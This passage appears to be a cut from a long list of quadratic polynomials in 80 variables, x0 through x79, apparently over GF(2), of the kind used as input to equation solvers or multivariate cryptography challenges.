+ x30*x77 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x40 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x52 + x31*x56 + x31*x60 + x31*x61 + x31*x62 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x77 + x32*x33 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x39 + x32*x43 + x32*x46 + x32*x47 + x32*x48 + x32*x51 + x32*x54 + x32*x58 + x32*x59 + x32*x60 + x32*x63 + x32*x64 + x32*x66 + x32*x68 + x32*x69 + x32*x71 + x32*x72 + x32*x73 + x32*x75 + x32*x77 + x33*x35 + x33*x37 + x33*x38 + x33*x42 + x33*x45 + x33*x46 + x33*x49 + x33*x51 + x33*x52 + x33*x55 + x33*x58 + x33*x62 + x33*x68 + x33*x69 + x33*x70 + x33*x71 + x33*x73 + x33*x76 + x33 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x41 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x55 + x34*x56 + x34*x58 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x67 + x34*x68 + x34*x70 + x34*x73 + x34*x76 + x34*x77 + x34 + x35*x38 + x35*x39 + x35*x42 + x35*x44 + x35*x45 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x61 + x35*x64 + x35*x65 + x35*x67 + x35*x68 + x35*x70 + x35*x71 + x35*x72 + x35*x75 + x35*x76 + x35*x77 + x35 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x50 + x36*x51 + x36*x53 + x36*x56 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x64 + x36*x68 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x38 + x37*x39 + x37*x40 + x37*x46 + x37*x47 + x37*x50 + x37*x52 + x37*x53 + x37*x57 + x37*x59 + x37*x61 + x37*x64 + x37*x66 + x37*x71 + x37*x74 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x45 + x38*x46 + x38*x47 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x61 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x71 + x38*x72 + x38*x73 + x38*x76 + x38*x77 + x39*x40 + x39*x41 + x39*x44 + x39*x52 + x39*x53 + x39*x57 + x39*x58 + x39*x64 + x39*x65 + x39*x67 + x39*x69 + x39*x70 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x39 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x78 + x41*x42 + x41*x46 + x41*x50 + x41*x52 + x41*x55 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x72 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x45 + x42*x46 + x42*x48 + x42*x49 + x42*x50 + x42*x53 + x42*x61 + x42*x69 + x42*x71 + x42*x72 + x42*x75 + x42*x76 + x42*x79 + x43*x47 + x43*x49 + x43*x50 + x43*x52 + x43*x59 + x43*x63 + x43*x64 + x43*x66 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x78 + x43 + x44*x46 + x44*x50 + x44*x51 + x44*x53 + x44*x56 + x44*x57 + x44*x59 + x44*x60 + x44*x61 + x44*x69 + x44*x70 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x77 + x44*x79 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x57 + x45*x60 + x45*x61 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x70 + x45*x73 + x45*x76 + x45*x77 + x46*x48 + x46*x50 + x46*x53 + x46*x59 + x46*x61 + x46*x64 + x46*x67 + x46*x70 + x46*x72 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x47*x48 + x47*x49 + x47*x51 + x47*x56 + x47*x57 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x62 + x47*x65 + x47*x66 + x47*x67 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x78 + x47*x79 + x48*x50 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x59 + x48*x61 + x48*x66 + x48*x68 + x48*x71 + x48*x72 + x48*x76 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x57 + x49*x59 + x49*x63 + x49*x65 + x49*x71 + x49*x72 + x49*x74 + x50*x51 + x50*x52 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x65 + x50*x67 + x50*x68 + x50*x69 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50*x77 + x50*x79 + x51*x54 + x51*x55 + x51*x56 + x51*x61 + x51*x64 + x51*x67 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x75 + x51*x78 + x51*x79 + x52*x53 + x52*x55 + x52*x56 + x52*x58 + x52*x60 + x52*x64 + x52*x65 + x52*x70 + x52*x72 + x52*x76 + x52*x78 + x52*x79 + x53*x54 + x53*x59 + x53*x60 + x53*x64 + x53*x66 + x53*x68 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x79 + x53 + x54*x56 + x54*x58 + x54*x59 + x54*x63 + x54*x64 + x54*x65 + x54*x69 + x54*x71 + x54*x72 + x54*x75 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x62 + x55*x63 + x55*x64 + x55*x65 + x55*x66 + x55*x69 + x55*x73 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x61 + x56*x62 + x56*x63 + x56*x64 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x75 + x56*x78 + x57*x59 + x57*x67 + x57*x70 + x57*x71 + x57*x72 + x57*x76 + x57*x78 + x57*x79 + x58*x60 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x69 + x58*x72 + x58*x74 + x58*x75 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x68 + x59*x76 + x59*x78 + x59*x79 + x59 + x60*x61 + x60*x64 + x60*x65 + x60*x69 + x60*x73 + x60*x76 + x60*x77 + x60*x79 + x61*x62 + x61*x63 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x77 + x61*x78 + x61*x79 + x62*x68 + x62*x72 + x62*x75 + x62*x76 + x62*x78 + x63*x67 + x63*x69 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63*x76 + x63*x77 + x63*x78 + x64*x65 + x64*x71 + x64*x72 + x64*x74 + x64*x75 + x64*x76 + x65*x66 + x65*x67 + x65*x69 + x65*x71 + x65*x72 + x65*x74 + x65*x75 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x71 + x66*x73 + x66*x74 + x66*x78 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x76 + x67*x79 + x68*x69 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x76 + x68*x77 + x68*x79 + x68 + x69*x71 + x69*x72 + x69*x74 + x69*x75 + x69*x79 + x70*x73 + x70*x78 + x70*x79 + x70 + x71*x75 + x71*x77 + x71*x79 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72 + x73*x75 + x73*x76 + x73*x79 + x74*x75 + x74*x77 + x75*x77 + x75*x78 + x75*x79 + x76*x79 + x76 + x77*x79 + x77 + x78 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x14 + x0*x17 + x0*x18 + x0*x20 + x0*x22 + x0*x24 + x0*x26 + x0*x27 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x38 + x0*x41 + x0*x42 + x0*x43 + x0*x46 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x63 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x73 + x0*x74 + x0*x78 + x0*x79 + x0 + x1*x4 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x16 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x27 + x1*x29 + x1*x32 + x1*x37 + x1*x38 + x1*x41 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x51 + x1*x52 + x1*x54 + x1*x57 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x75 + x1*x76 + x1*x79 + x2*x3 + x2*x4 + x2*x7 + x2*x9 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x17 + x2*x22 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x31 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x46 + x2*x50 + x2*x51 + x2*x53 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x67 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x14 + x3*x16 + x3*x21 + x3*x23 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x49 + x3*x55 + x3*x57 + x3*x58 + x3*x59 + x3*x61 + x3*x63 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x74 + x3*x75 + x3*x77 + x3 + x4*x6 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x14 + x4*x16 + x4*x19 + x4*x20 + x4*x24 + x4*x25 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x34 + x4*x36 + x4*x37 + x4*x39 + x4*x41 + x4*x43 + x4*x44 + x4*x46 + x4*x48 + x4*x51 + x4*x54 + x4*x55 + x4*x56 + x4*x59 + x4*x61 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4 + x5*x6 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x15 + x5*x16 + x5*x19 + x5*x20 + x5*x23 + x5*x25 + x5*x29 + x5*x30 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x39 + x5*x40 + x5*x41 + x5*x43 + x5*x46 + x5*x49 + x5*x54 + x5*x60 + x5*x61 + x5*x62 + x5*x64 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x78 + x5 + x6*x10 + x6*x11 + x6*x14 + x6*x16 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x24 + x6*x29 + x6*x34 + x6*x35 + x6*x41 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x51 + x6*x52 + x6*x53 + x6*x56 + x6*x58 + x6*x59 + x6*x60 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x68 + x6*x71 + x6*x72 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x7*x8 + x7*x9 + x7*x11 + x7*x13 + x7*x15 + x7*x20 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x36 + x7*x39 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x50 + x7*x51 + x7*x52 + x7*x53 + x7*x57 + x7*x59 + x7*x60 + x7*x61 + x7*x63 + x7*x66 + x7*x67 + x7*x71 + x7*x72 + x7*x75 + x7*x77 + x7*x79 + x8*x11 + x8*x13 + x8*x15 + x8*x16 + x8*x17 + x8*x19 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x27 + x8*x34 + x8*x39 + x8*x41 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x51 + x8*x52 + x8*x53 + x8*x55 + x8*x56 + x8*x59 + x8*x62 + x8*x65 + x8*x68 + x8*x69 + x8*x70 + x8*x71 + x8*x72 + x8*x74 + x8*x76 + x8*x77 + x8 + x9*x10 + x9*x12 + x9*x15 + x9*x21 + x9*x23 + x9*x27 + x9*x30 + x9*x31 + x9*x32 + x9*x33 + x9*x34 + x9*x38 + x9*x39 + x9*x43 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x63 + x9*x67 + x9*x71 + x9*x73 + x9*x79 + x10*x14 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x29 + x10*x30 + x10*x31 + x10*x32 + x10*x36 + x10*x40 + x10*x41 + x10*x46 + x10*x50 + x10*x57 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x66 + x10*x67 + x10*x70 + x10*x73 + x10*x75 + x10*x76 + x10*x77 + x10*x78 + x11*x13 + x11*x14 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x25 + x11*x26 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x35 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x53 + x11*x57 + x11*x59 + x11*x60 + x11*x62 + x11*x65 + x11*x66 + x11*x68 + x11*x69 + x11*x72 + x11*x79 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x25 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x34 + x12*x36 + x12*x38 + x12*x40 + x12*x42 + x12*x44 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x53 + x12*x56 + x12*x57 + x12*x59 + x12*x60 + x12*x61 + x12*x67 + x12*x69 + x12*x71 + x12*x75 + x12 + x13*x16 + x13*x18 + x13*x20 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x28 + x13*x30 + x13*x31 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x48 + x13*x51 + x13*x52 + x13*x54 + x13*x58 + x13*x59 + x13*x64 + x13*x70 + x13*x71 + x13*x74 + x13*x75 + x13*x76 + x13*x78 + x13 + x14*x15 + x14*x16 + x14*x17 + x14*x20 + x14*x22 + x14*x23 + x14*x25 + x14*x26 + x14*x27 + x14*x29 + x14*x31 + x14*x33 + x14*x39 + x14*x40 + x14*x41 + x14*x42 + x14*x44 + x14*x50 + x14*x55 + x14*x57 + x14*x58 + x14*x61 + x14*x63 + x14*x65 + x14*x67 + x14*x72 + x14*x73 + x14*x74 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x21 + x15*x26 + x15*x27 + x15*x30 + x15*x32 + x15*x33 + x15*x34 + x15*x35 + x15*x39 + x15*x40 + x15*x46 + x15*x47 + x15*x48 + x15*x52 + x15*x54 + x15*x59 + x15*x60 + x15*x64 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x73 + x15*x74 + x15*x77 + x16*x18 + x16*x21 + x16*x23 + x16*x24 + x16*x25 + x16*x27 + x16*x34 + x16*x36 + x16*x38 + x16*x42 + x16*x43 + x16*x47 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x55 + x16*x57 + x16*x65 + x16*x68 + x16*x69 + x16*x73 + x16*x77 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x29 + x17*x31 + x17*x32 + x17*x33 + x17*x38 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x52 + x17*x53 + x17*x55 + x17*x56 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x63 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x72 + x17*x74 + x17*x76 + x17*x77 + x17*x78 + x17*x79 + x17 + x18*x20 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x47 + x18*x50 + x18*x52 + x18*x53 + x18*x58 + x18*x59 + x18*x60 + x18*x63 + x18*x67 + x18*x69 + x18*x70 + x18*x73 + x18*x76 + x18*x77 + x19*x20 + x19*x21 + x19*x23 + x19*x27 + x19*x29 + x19*x30 + x19*x31 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x41 + x19*x43 + x19*x44 + x19*x46 + x19*x50 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x61 + x19*x62 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x70 + x19*x72 + x19*x76 + x19*x78 + x20*x21 + x20*x23 + x20*x24 + x20*x26 + x20*x28 + x20*x29 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x37 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x46 + x20*x48 + x20*x50 + x20*x52 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x62 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20 + x21*x23 + x21*x24 + x21*x25 + x21*x29 + x21*x35 + x21*x37 + x21*x38 + x21*x42 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x50 + x21*x52 + x21*x53 + x21*x54 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x64 + x21*x66 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x78 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x28 + x22*x30 + x22*x31 + x22*x33 + x22*x36 + x22*x37 + x22*x38 + x22*x40 + x22*x43 + x22*x44 + x22*x45 + x22*x49 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x57 + x22*x61 + x22*x63 + x22*x66 + x22*x67 + x22*x68 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x33 + x23*x34 + x23*x35 + x23*x37 + x23*x41 + x23*x42 + x23*x44 + x23*x46 + x23*x48 + x23*x54 + x23*x56 + x23*x57 + x23*x63 + x23*x64 + x23*x69 + x23*x71 + x23*x74 + x23*x76 + x23*x78 + x24*x25 + x24*x26 + x24*x28 + x24*x30 + x24*x31 + x24*x34 + x24*x36 + x24*x38 + x24*x45 + x24*x46 + x24*x47 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x61 + x24*x64 + x24*x66 + x24*x67 + x24*x70 + x24*x72 + x24*x74 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x46 + x25*x50 + x25*x51 + x25*x55 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x70 + x25*x71 + x25*x72 + x25*x74 + x25*x76 + x25*x77 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x32 + x26*x37 + x26*x38 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x47 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x58 + x26*x61 + x26*x63 + x26*x66 + x26*x68 + x26*x69 + x26*x70 + x26*x76 + x26*x79 + x27*x28 + x27*x29 + x27*x31 + x27*x33 + x27*x36 + x27*x37 + x27*x44 + x27*x45 + x27*x49 + x27*x51 + x27*x52 + x27*x55 + x27*x62 + x27*x65 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x31 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x43 + x28*x44 + x28*x45 + x28*x48 + x28*x49 + x28*x50 + x28*x52 + x28*x53 + x28*x59 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x68 + x28*x69 + x28*x72 + x28*x73 + x28*x75 + x28*x78 + x29*x31 + x29*x34 + x29*x38 + x29*x39 + x29*x41 + x29*x43 + x29*x49 + x29*x53 + x29*x57 + x29*x58 + x29*x62 + x29*x65 + x29*x67 + x29*x70 + x29*x77 + x29*x79 + x30*x36 + x30*x37 + x30*x39 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x47 + x30*x48 + x30*x51 + x30*x52 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x61 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x70 + x30*x71 + x30*x72 + x30*x74 + x30*x75 + x30*x79 + x31*x35 + x31*x36 + x31*x39 + x31*x40 + x31*x42 + x31*x43 + x31*x46 + x31*x48 + x31*x55 + x31*x56 + x31*x58 + x31*x63 + x31*x65 + x31*x66 + x31*x69 + x31*x72 + x31*x76 + x31*x78 + x31*x79 + x31 + x32*x33 + x32*x34 + x32*x36 + x32*x40 + x32*x41 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x49 + x32*x50 + x32*x51 + x32*x52 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x62 + x32*x63 + x32*x70 + x32*x71 + x32*x72 + x32*x76 + x32*x77 + x32*x78 + x32*x79 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x42 + x33*x47 + x33*x49 + x33*x51 + x33*x52 + x33*x56 + x33*x58 + x33*x59 + x33*x61 + x33*x63 + x33*x64 + x33*x66 + x33*x68 + x33*x70 + x33*x73 + x33*x74 + x33*x78 + x33*x79 + x33 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x58 + x34*x59 + x34*x63 + x34*x64 + x34*x68 + x34*x70 + x34*x72 + x34*x74 + x34*x76 + x34*x77 + x34*x79 + x35*x36 + x35*x38 + x35*x43 + x35*x46 + x35*x48 + x35*x51 + x35*x53 + x35*x54 + x35*x55 + x35*x59 + x35*x60 + x35*x63 + x35*x64 + x35*x73 + x35*x74 + x35*x77 + x36*x38 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x49 + x36*x52 + x36*x53 + x36*x55 + x36*x58 + x36*x59 + x36*x60 + x36*x65 + x36*x66 + x36*x68 + x36*x69 + x36*x70 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x40 + x37*x43 + x37*x45 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x53 + x37*x55 + x37*x56 + x37*x58 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x73 + x37*x76 + x37*x77 + x37*x79 + x37 + x38*x40 + x38*x41 + x38*x43 + x38*x47 + x38*x49 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x62 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x72 + x38*x75 + x38*x76 + x38*x79 + x38 + x39*x41 + x39*x43 + x39*x46 + x39*x49 + x39*x54 + x39*x57 + x39*x58 + x39*x60 + x39*x63 + x39*x66 + x39*x70 + x39*x71 + x39*x73 + x39*x76 + x39*x79 + x40*x41 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x55 + x40*x59 + x40*x60 + x40*x64 + x40*x67 + x40*x68 + x40*x72 + x40*x73 + x40*x76 + x40*x78 + x41*x43 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x51 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x59 + x41*x63 + x41*x67 + x41*x68 + x41*x71 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41 + x42*x43 + x42*x46 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x65 + x42*x66 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x76 + x42*x77 + x43*x44 + x43*x45 + x43*x49 + x43*x53 + x43*x55 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x64 + x43*x65 + x43*x68 + x43*x71 + x43*x72 + x43*x73 + x43*x77 + x43*x79 + x44*x48 + x44*x52 + x44*x58 + x44*x59 + x44*x62 + x44*x64 + x44*x65 + x44*x67 + x44*x68 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x47 + x45*x48 + x45*x49 + x45*x51 + x45*x52 + x45*x53 + x45*x57 + x45*x59 + x45*x61 + x45*x62 + x45*x63 + x45*x66 + x45*x68 + x45*x71 + x45*x73 + x45*x75 + x45*x77 + x45*x78 + x46*x47 + x46*x49 + x46*x50 + x46*x53 + x46*x56 + x46*x59 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x47*x48 + x47*x50 + x47*x53 + x47*x55 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x63 + x47*x64 + x47*x65 + x47*x68 + x47*x69 + x47*x72 + x47*x75 + x47*x77 + x47*x79 + x48*x56 + x48*x57 + x48*x58 + x48*x60 + x48*x61 + x48*x64 + x48*x65 + x48*x66 + x48*x68 + x48*x70 + x48*x72 + x48*x73 + x48*x75 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x58 + x49*x59 + x49*x60 + x49*x68 + x49*x69 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x63 + x50*x72 + x50*x75 + x50*x76 + x50*x78 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x61 + x51*x62 + x51*x63 + x51*x67 + x51*x73 + x51*x74 + x51*x75 + x51*x78 + x52*x56 + x52*x57 + x52*x58 + x52*x62 + x52*x66 + x52*x68 + x52*x71 + x52*x76 + x52*x77 + x52*x78 + x53*x57 + x53*x62 + x53*x63 + x53*x64 + x53*x66 + x53*x69 + x53*x70 + x53*x71 + x53*x77 + x53*x78 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x60 + x54*x61 + x54*x64 + x54*x65 + x54*x67 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54 + x55*x56 + x55*x57 + x55*x60 + x55*x62 + x55*x63 + x55*x68 + x55*x69 + x55*x70 + x55*x74 + x55*x78 + x56*x60 + x56*x61 + x56*x62 + x56*x63 + x56*x66 + x56*x70 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x60 + x57*x61 + x57*x62 + x57*x66 + x57*x72 + x57*x75 + x57*x77 + x57*x79 + x57 + x58*x60 + x58*x62 + x58*x65 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x73 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x58*x79 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x70 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x60*x62 + x60*x64 + x60*x68 + x60*x72 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x62 + x61*x65 + x61*x67 + x61*x69 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x72 + x62*x77 + x62 + x63*x64 + x63*x68 + 